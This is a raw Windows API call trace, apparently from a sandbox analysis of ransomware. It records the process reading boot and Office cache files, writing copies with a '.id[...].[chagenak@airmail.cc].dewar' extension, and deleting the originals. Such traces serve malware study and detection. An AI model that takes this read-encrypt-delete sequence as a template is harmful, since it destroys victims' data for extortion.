[0063.460] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0063.461] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.461] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0063.462] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x2fbfe28 | out: lpFileSize=0x2fbfe28*=90704) returned 1 [0063.462] CloseHandle (hObject=0x1a4) returned 1 [0063.462] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui")) returned 0x20 [0063.462] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui")) returned 0x20 [0063.462] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0063.462] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.463] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0063.463] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x2fbfe28 | out: lpFileSize=0x2fbfe28*=90704) returned 1 [0063.463] CloseHandle (hObject=0x1a4) returned 1 [0063.464] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui")) returned 0x20 [0063.464] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui")) returned 0x20 [0063.464] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0063.464] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.465] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0063.465] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x2fbfe28 | out: lpFileSize=0x2fbfe28*=90176) returned 1 [0063.465] CloseHandle (hObject=0x1a4) returned 1 [0063.465] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui")) returned 0x20 [0063.466] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui")) returned 0x20 [0063.466] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0063.466] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.467] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0063.467] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x2fbfe28 | out: lpFileSize=0x2fbfe28*=89664) returned 1 [0063.467] CloseHandle (hObject=0x1a4) returned 1 [0063.467] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui")) returned 0x20 [0063.467] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui")) returned 0x20 [0063.467] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0063.468] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.468] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0063.469] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x2fbfe28 | out: lpFileSize=0x2fbfe28*=90192) returned 1 [0063.469] CloseHandle (hObject=0x1a4) returned 1 [0063.469] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui")) returned 0x20 [0063.469] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui")) returned 0x20 [0063.469] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0063.470] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.470] ResetEvent (hEvent=0x150) returned 1 [0063.470] SetEvent (hEvent=0x154) returned 1 [0063.470] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0063.471] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x2fbfe28 | out: lpFileSize=0x2fbfe28*=87616) returned 1 [0063.471] CloseHandle (hObject=0x1a4) returned 1 [0063.471] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui")) returned 0x20 [0063.471] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui")) returned 0x20 [0063.471] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0063.471] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.472] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0063.611] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0063.614] ResetEvent (hEvent=0x150) returned 1 [0063.614] SetEvent (hEvent=0x154) returned 1 [0063.614] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0063.615] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x2fbfe28 | out: lpFileSize=0x2fbfe28*=70720) returned 1 [0063.615] CloseHandle (hObject=0x190) returned 1 [0063.615] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui")) returned 0x20 [0063.615] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui")) returned 0x20 [0063.615] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0063.615] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.616] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0063.621] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0063.625] ResetEvent (hEvent=0x150) returned 1 [0063.625] SetEvent (hEvent=0x154) returned 1 [0063.625] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0063.626] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x2fbfe28 | out: lpFileSize=0x2fbfe28*=70208) returned 1 [0063.626] CloseHandle (hObject=0x190) returned 1 [0063.626] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui")) returned 0x20 [0063.626] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui")) returned 0x20 [0063.627] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0063.627] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.627] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0063.633] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0063.635] ResetEvent (hEvent=0x150) returned 1 [0063.635] SetEvent (hEvent=0x154) returned 1 [0063.635] CreateFileW (lpFileName="\\\\?\\C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0063.637] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x2fbfe28 | out: lpFileSize=0x2fbfe28*=8192) returned 1 [0063.637] CloseHandle (hObject=0x164) returned 1 [0063.638] GetFileAttributesW (lpFileName="\\\\?\\C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak")) returned 0x27 [0063.638] SetFileAttributesW (lpFileName="\\\\?\\C:\\BOOTSECT.BAK", dwFileAttributes=0x26) returned 1 [0063.638] GetFileAttributesW (lpFileName="\\\\?\\C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak")) returned 0x26 [0063.638] GetFileAttributesW (lpFileName="\\\\?\\C:\\BOOTSECT.BAK.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\bootsect.bak.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0063.638] CreateFileW (lpFileName="\\\\?\\C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0063.639] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfdf0 | out: lpNewFilePointer=0x0) returned 1 [0063.639] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfdf0 | out: lpNewFilePointer=0x0) returned 1 [0063.639] CreateFileW (lpFileName="\\\\?\\C:\\BOOTSECT.BAK.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\bootsect.bak.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x26, hTemplateFile=0x0) returned 0x1a4 [0063.645] ReadFile (in: hFile=0x164, lpBuffer=0x3270020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fbfdfc, lpOverlapped=0x0 | out: lpBuffer=0x3270020*, lpNumberOfBytesRead=0x2fbfdfc*=0x2000, lpOverlapped=0x0) returned 1 [0064.118] WriteFile (in: hFile=0x1a4, lpBuffer=0x3270020*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x2fbfde0, lpOverlapped=0x0 | out: lpBuffer=0x3270020*, lpNumberOfBytesWritten=0x2fbfde0*=0x2010, lpOverlapped=0x0) returned 1 [0064.121] WriteFile (in: hFile=0x1a4, lpBuffer=0x3270020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fbfde0, lpOverlapped=0x0 | out: lpBuffer=0x3270020*, lpNumberOfBytesWritten=0x2fbfde0*=0xf2, lpOverlapped=0x0) returned 1 [0064.121] CloseHandle (hObject=0x164) returned 1 [0064.121] CloseHandle (hObject=0x1a4) returned 1 [0064.126] DeleteFileW (lpFileName="\\\\?\\C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak")) returned 1 [0064.128] SetFileAttributesW (lpFileName="\\\\?\\C:\\BOOTSECT.BAK.id[9C354B42-2713].[chagenak@airmail.cc].dewar", dwFileAttributes=0x27) returned 1 [0064.129] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0064.131] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x2fbfe28 | out: lpFileSize=0x2fbfe28*=2506240) returned 1 [0064.131] CloseHandle (hObject=0x1a4) returned 1 [0064.132] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi")) returned 0x2020 [0064.132] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 1 [0064.133] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0064.133] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfc78 | out: lpNewFilePointer=0x0) returned 1 [0064.133] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfc78 | out: lpNewFilePointer=0x0) returned 1 [0064.134] ReadFile (in: hFile=0x1a4, lpBuffer=0x3270058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2fbfc84, lpOverlapped=0x0 | out: lpBuffer=0x3270058*, lpNumberOfBytesRead=0x2fbfc84*=0x40000, lpOverlapped=0x0) returned 1 [0064.145] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0xcbf55, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfc78 | out: lpNewFilePointer=0x0) returned 1 [0064.145] ReadFile (in: hFile=0x1a4, lpBuffer=0x32b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2fbfc84, lpOverlapped=0x0 | out: lpBuffer=0x32b0058*, lpNumberOfBytesRead=0x2fbfc84*=0x40000, lpOverlapped=0x0) returned 1 [0064.994] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x223e00, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfc78 | out: lpNewFilePointer=0x0) returned 1 [0064.995] ReadFile (in: hFile=0x1a4, lpBuffer=0x32f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2fbfc84, lpOverlapped=0x0 | out: lpBuffer=0x32f0058*, lpNumberOfBytesRead=0x2fbfc84*=0x40000, lpOverlapped=0x0) returned 1 [0065.019] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfde8 | out: lpNewFilePointer=0x0) returned 1 [0065.019] WriteFile (in: hFile=0x1a4, lpBuffer=0x3270020*, nNumberOfBytesToWrite=0xc0112, lpNumberOfBytesWritten=0x2fbfde0, lpOverlapped=0x0 | out: lpBuffer=0x3270020*, lpNumberOfBytesWritten=0x2fbfde0*=0xc0112, lpOverlapped=0x0) returned 1 [0065.519] SetEndOfFile (hFile=0x1a4) returned 1 [0065.520] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x223e00, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfc80 | out: lpNewFilePointer=0x0) returned 1 [0065.520] WriteFile (in: hFile=0x1a4, lpBuffer=0x333014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2fbfc8c, lpOverlapped=0x0 | out: lpBuffer=0x333014a*, lpNumberOfBytesWritten=0x2fbfc8c*=0x40000, lpOverlapped=0x0) returned 1 [0065.527] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0xcbf55, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfc80 | out: lpNewFilePointer=0x0) returned 1 [0065.527] WriteFile (in: hFile=0x1a4, lpBuffer=0x333014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2fbfc8c, lpOverlapped=0x0 | out: lpBuffer=0x333014a*, lpNumberOfBytesWritten=0x2fbfc8c*=0x40000, lpOverlapped=0x0) returned 1 [0065.843] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfc80 | out: lpNewFilePointer=0x0) returned 1 [0065.843] WriteFile (in: hFile=0x1a4, lpBuffer=0x333014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2fbfc8c, lpOverlapped=0x0 | out: lpBuffer=0x333014a*, lpNumberOfBytesWritten=0x2fbfc8c*=0x40000, lpOverlapped=0x0) returned 1 [0065.855] CloseHandle (hObject=0x1a4) returned 1 [0067.374] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0067.580] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2fbfe28 | out: lpFileSize=0x2fbfe28*=1565) returned 1 [0067.580] CloseHandle (hObject=0x1c0) returned 1 [0067.580] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml")) returned 0x2020 [0067.580] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml")) returned 0x2020 [0067.580] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0067.580] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0067.581] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfdf0 | out: lpNewFilePointer=0x0) returned 1 [0067.581] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfdf0 | out: lpNewFilePointer=0x0) returned 1 [0067.581] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x1c4 [0067.582] ReadFile (in: hFile=0x1c0, lpBuffer=0x3270020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fbfdfc, lpOverlapped=0x0 | out: lpBuffer=0x3270020*, lpNumberOfBytesRead=0x2fbfdfc*=0x61d, lpOverlapped=0x0) returned 1 [0067.587] WriteFile (in: hFile=0x1c4, lpBuffer=0x3270020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x2fbfde0, lpOverlapped=0x0 | out: lpBuffer=0x3270020*, lpNumberOfBytesWritten=0x2fbfde0*=0x620, lpOverlapped=0x0) returned 1 [0067.591] WriteFile (in: hFile=0x1c4, lpBuffer=0x3270020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fbfde0, lpOverlapped=0x0 | out: lpBuffer=0x3270020*, lpNumberOfBytesWritten=0x2fbfde0*=0xf2, lpOverlapped=0x0) returned 1 [0067.591] CloseHandle (hObject=0x1c0) returned 1 [0067.592] CloseHandle (hObject=0x1c4) returned 1 [0067.594] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml")) returned 1 [0067.598] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0067.598] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x2fbfe28 | out: lpFileSize=0x2fbfe28*=2296) returned 1 [0067.599] CloseHandle (hObject=0x1c4) returned 1 [0067.599] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0067.599] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0067.599] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All 